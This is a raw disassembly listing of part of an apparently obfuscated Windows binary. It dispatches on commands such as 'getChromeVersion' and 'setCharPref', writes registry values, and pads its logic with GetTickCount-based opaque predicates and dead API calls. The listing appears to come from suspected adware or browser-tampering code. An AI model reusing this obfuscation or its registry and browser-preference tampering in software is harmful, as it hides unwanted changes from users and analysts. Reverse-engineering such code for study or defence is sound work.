call fcn.1400d59cc
mov rbx, rax
mov qword [rsp + 0x638], rax
test rsi, rsi
je 0x14006af54
test rax, rax
je 0x14006af54
mov r8, rsi
lea rdx, [rsp + 0x88]
call fcn.14006e800
test al, al
je 0x14006af54
mov r8, rbx
lea rdx, [rsp + 0xa0]
call fcn.14006e800
test al, al
je 0x14006af54
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x428], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rsi
mov rcx, rsi
call fcn.140069090
mov r8, qword [rsp + 0xa0]
mov eax, dword [r8 - 0x10]
mov dword [rsp + 0x658], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.140069090
mov r8d, dword [0x1401d6d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 2
jne 0x14006a59b
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov dword [0x1401d6d80], eax
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, 8
jne 0x14006a5e4
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401d6d80]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401d6d80], ecx
mov rbx, qword [r13 + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0x9a8], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xd08], rcx
mov edx, 0x5c
call fcn.1400d7948
mov rcx, rax
mov qword [rsp + 0x9b8], rax
test rax, rax
jne 0x14006a621
mov ecx, r12d
jmp 0x14006a632
mov rax, qword [rbx]
mov qword [rsp + 0xf18], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xb0]
call fcn.14002b820
nop
mov rax, qword [r13 + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x9c8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xd18], rcx
call fcn.1400027c0
mov qword [rsp + 0x9d8], rax
add rax, 0x18
mov qword [rsp + 0x1e0], rax
mov rax, qword [r13 + 0x40]
add rax, 0x2cc
mov qword [rsp + 0x3e8], rax
mov edx, dword [rax]
lea rcx, [rsp + 0x2ea0]
call fcn.140068990
mov qword [rsp + 0xfe8], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006a6bc
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7d8]
call fcn.140003760
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x728]
call fcn.14001b580
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.140010150
nop
mov rcx, qword [rsp + 0x728]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a732
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a764
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2eb8], 0x10
jb 0x14006a77c
mov rcx, qword [rsp + 0x2ea0]
call fcn.1400d4de0
mov qword [rsp + 0x2eb8], 0xf
mov qword [rsp + 0x2eb0], rdi
mov byte [rsp + 0x2ea0], 0
mov rax, qword [rsp + 0x3e8]
mov edx, dword [rax]
lea rcx, [rsp + 0x2ee0]
call fcn.140068990
mov qword [rsp + 0x9e8], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006a7c1
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x858]
call fcn.140003760
mov rbx, rax
lea r8, [0x140161498]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x738]
call fcn.14001b580
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.140010150
nop
mov rcx, qword [rsp + 0x738]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a837
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x858]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a869
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ef8], 0x10
jb 0x14006a881
mov rcx, qword [rsp + 0x2ee0]
call fcn.1400d4de0
mov qword [rsp + 0x2ef8], 0xf
mov qword [rsp + 0x2ef0], rdi
mov byte [rsp + 0x2ee0], 0
mov rcx, qword [rsp + 0x3e8]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x2e80]
call fcn.140068990
mov qword [rsp + 0xd28], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006a8cb
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7e8]
call fcn.140003760
mov rbx, rax
lea r8, [0x1401614a8]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x748]
call fcn.14001b580
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.140010150
nop
mov rcx, qword [rsp + 0x748]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a941
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a973
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2e98], 0x10
jb 0x14006a98b
mov rcx, qword [rsp + 0x2e80]
call fcn.1400d4de0
mov qword [rsp + 0x2e98], 0xf
mov qword [rsp + 0x2e90], rdi
mov byte [rsp + 0x2e80], 0
mov eax, dword [0x1401d6d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xb
jne 0x14006aa02
mov eax, dword [str.wCiNe7]
mov dword [rsp + 0x140], eax
movzx eax, word [0x14015ec88]
mov word [rsp + 0x144], ax
movzx eax, byte [0x14015ec8a]
mov byte [rsp + 0x146], al
mov byte [rsp + 0x140], 0xe
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14006ad28
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x438], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rsi, qword [rsp + 0x758]
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14006ad28
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14006ad28
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x7f8], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x638]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14006ad28
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xb0]
mov rcx, r13
call fcn.14006e930
mov rcx, rbx
call fcn.1400d5948
mov rcx, rsi
call fcn.1400d5948
mov r8d, dword [0x1401d6d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0xb
jne 0x14006aba1
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x63
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.1400d4448
mov qword [rsp + 0x9f8], rax
mov rcx, rax
call fcn.1400d5528
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r15, r15
je 0x14006abc2
mov esi, 0xb
mov word [r15], si
mov word [r15 + 8], r12w
mov rcx, qword [rsp + 0x1b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x838], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006abf4
mov rdx, qword [rsp + 0x838]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x648], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ac26
mov rdx, qword [rsp + 0x648]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x410], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ac58
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x420], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ac8a
mov rdx, qword [rsp + 0x420]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x430], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006acbc
mov rdx, qword [rsp + 0x430]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x440], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006acee
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x450], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b086
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006b086
test r15, r15
je 0x14006ad3b
mov esi, 0xb
mov word [r15], si
mov word [r15 + 8], di
mov rcx, qword [rsp + 0x1b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x460], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ad6d
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x470], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ad9f
mov rdx, qword [rsp + 0x470]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x480], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006add1
mov rdx, qword [rsp + 0x480]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x490], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ae03
mov rdx, qword [rsp + 0x490]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ae35
mov rdx, qword [rsp + 0x4a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ae67
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ae99
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006aec8
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x14006aee0
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006af2b
mov rdx, qword [rsp + 0x4e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
test r15, r15
je 0x14006af67
mov esi, 0xb
mov word [r15], si
mov word [r15 + 8], di
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006af99
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x500], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006afcb
mov rdx, qword [rsp + 0x500]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006affa
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x14006b012
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b05d
mov rdx, qword [rsp + 0x520]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
mov r8d, dword [0x1401d6d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 7
jne 0x14006e65f
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.1400d4448
mov qword [rsp + 0xfc0], rax
mov rcx, rax
call fcn.1400d5528
jmp 0x14006e65f
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006b33c
mov r9d, dword [0x1401d6d80]
mov ecx, r9d
imul ecx, r9d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 2
jne 0x14006b178
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r9d, dword [0x1401d6d80]
test r15, r15
je 0x14006e65f
lea r8d, [r9 + 2]
lea ecx, [r9 + 1]
imul r8d, ecx
imul r8d, r9d
mov eax, 0x2aaaaaab
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub r8d, eax
cmp r8d, 4
jne 0x14006b1e8
mov r8d, edi
mov dword [rsp + 0x230], edi
test r9d, r9d
je 0x14006b1e1
mov ecx, r9d
and ecx, 1
add r8d, ecx
mov dword [rsp + 0x230], r8d
mov eax, r9d
cdq
sub eax, edx
sar eax, 1
mov r9d, eax
mov dword [0x1401d6d80], eax
jmp 0x14006b1b8
mov dword [0x1401d6d80], r8d
lea rcx, [rsp + 0x530]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x1f0], rdi
mov rcx, qword [rsp + 0x530]
mov qword [rsp + 0x1f0], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x1f0], rdx
lea rcx, [rsp + 0x208]
call fcn.140002460
nop
mov dword [rsp + 0xe0], edi
cmp edi, 8
jge 0x14006b2d4
lea rcx, [rsp + 0x148]
call fcn.140002460
nop
movsxd rax, edi
movzx r8d, byte [rsp + rax + 0x1f0]
lea rdx, str._.2x
lea rcx, [rsp + 0x148]
call fcn.1400124a0
mov rdx, qword [rsp + 0x148]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x448], r8d
lea rcx, [rsp + 0x208]
call fcn.140010c10
nop
mov rcx, qword [rsp + 0x148]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x540], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b2c6
mov rdx, qword [rsp + 0x540]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edi, dword [rsp + 0xe0]
inc edi
jmp 0x14006b235
mov rcx, qword [rsp + 0x208]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x668], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa08], rax
test rax, rax
jne 0x14006b2fe
call fcn.140002850
mov qword [r15 + 8], rax
mov eax, 8
mov word [r15], ax
mov rcx, qword [rsp + 0x208]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x550], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e65f
mov rdx, qword [rsp + 0x550]
jmp 0x14006e656
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006b4a4
mov esi, dword [0x1401d6d80]
mov ecx, esi
imul ecx, esi
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0x11
jne 0x14006b425
mov r14d, edi
mov dword [rsp + 0x1e8], edi
nop dword [rax + rax]
cmp r14d, 0xa
jge 0x14006b425
mov r11d, edi
mov dword [rsp + 0x290], edi
cmp r11d, 8
jge 0x14006b415
mov r10d, edi
mov dword [rsp + 0x1b8], edi
cmp r10d, 0xe
jge 0x14006b408
lea ebx, [r10 + 1]
lea ecx, [r11 + 1]
mov eax, esi
cdq
idiv ecx
mov r9d, edx
mov eax, esi
cdq
idiv ebx
imul r9d, eax
mov eax, esi
sub eax, r14d
imul r9d, eax
movsxd rcx, r14d
movsxd rax, r11d
lea r8, [rax + rcx*8]
imul r8, r8, 0xe
movsxd rax, r10d
lea rcx, [rsp + 0x4300]
add rcx, rax
mov byte [rcx + r8], r9b
mov r10d, ebx
mov dword [rsp + 0x1b8], ebx
jmp 0x14006b3b4
inc r11d
mov dword [rsp + 0x290], r11d
jmp 0x14006b3a4
inc r14d
mov dword [rsp + 0x1e8], r14d
jmp 0x14006b390
lea rdx, [rsp + 0x2a8]
mov rcx, qword [r13 + 0x40]
call fcn.140068df0
nop
test r15, r15
je 0x14006b473
mov rcx, qword [rsp + 0x2a8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x458], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xd38], rax
test rax, rax
jne 0x14006b466
call fcn.140002850
mov qword [r15 + 8], rax
mov eax, 8
mov word [r15], ax
mov rcx, qword [rsp + 0x2a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e65f
mov rdx, qword [rsp + 0x560]
jmp 0x14006e656
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006b579
lea rdx, [rsp + 0x348]
mov rcx, qword [r13 + 0x40]
call fcn.140068e40
nop
mov r8d, dword [0x1401d6d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 5
jne 0x14006b50c
mov r14d, 1
test r8d, r8d
cmove r8d, r14d
mov dword [0x1401d6d80], r8d
test r15, r15
je 0x14006b548
mov rcx, qword [rsp + 0x348]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x778], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa18], rax
test rax, rax
jne 0x14006b53b
call fcn.140002850
mov qword [r15 + 8], rax
mov eax, 8
mov word [r15], ax
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e65f
mov rdx, qword [rsp + 0x570]
jmp 0x14006e656
lea rdx, [0x140161510]
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
je 0x14006e056
lea rdx, str.getIntPref
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
je 0x14006e056
lea rdx, str.setCharPref
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006bc5b
lea rdx, [0x140161618]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xf30], rax
lea rdx, [0x140161620]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xa28], rax
cmp byte [rax + 8], 4
jne 0x14006bbf0
lea rdx, [0x140161628]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xd48], rax
lea rdx, [0x140161630]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x880], rax
cmp byte [rax + 8], 4
jne 0x14006bbf0
lea rdx, [0x1401616a0]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xfc8], rax
lea rdx, [0x1401616a8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xa48], rax
cmp byte [rax + 8], 4
jne 0x14006bbf0
mov byte [rsp + 0x51], 0
mov qword [rsp + 0x218], rdi
lea rdx, [0x1401616b0]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xd58], rax
lea rdx, [0x1401616b8]
mov rcx, rax
call fcn.14003ccd0
test al, al
je 0x14006ba09
call fcn.140068cf0
mov r14d, 1
test al, al
jne 0x14006b71b
mov r8d, r14d
mov dword [rsp + 0x250], r14d
mov ecx, r14d
mov dword [rsp + 0x1f8], ecx
mov edx, 0x31
mov dword [rsp + 0x288], edx
mov dword [0x1401d6d80], edi
lea eax, [rdx - 2]
test eax, eax
js 0x14006b715
lea eax, [rcx + r8]
mov dword [rsp + 0x468], eax
mov r8d, ecx
mov dword [rsp + 0x250], ecx
mov ecx, eax
mov dword [rsp + 0x1f8], eax
dec edx
mov dword [rsp + 0x288], edx
jmp 0x14006b6e5
mov dword [0x1401d6d80], ecx
lea rdx, [0x140161678]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xa58], rax
lea rdx, [0x140161680]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xf40], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa68], rdx
lea rcx, [rsp + 0x2b8]
call fcn.140003760
nop
call fcn.140068a50
test al, al
jne 0x14006b7b6
mov ecx, dword [0x1401d6d80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x2f4
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.1400d4448
mov qword [rsp + 0xd68], rax
mov rcx, rax
call fcn.1400d5528
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x218], rbx
lea rdx, [0x140161688]
lea rcx, [rsp + 0x2b8]
call fcn.140003b80
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x218], rbx
mov ecx, dword [0x1401d6d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub r8d, edx
mov eax, dword [0x1401d87bc]
mov ecx, 0x6e306d9a
cmp r8d, 2
cmove eax, ecx
mov dword [0x1401d87bc], eax
mov rcx, qword [rsp + 0x2b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, r12d
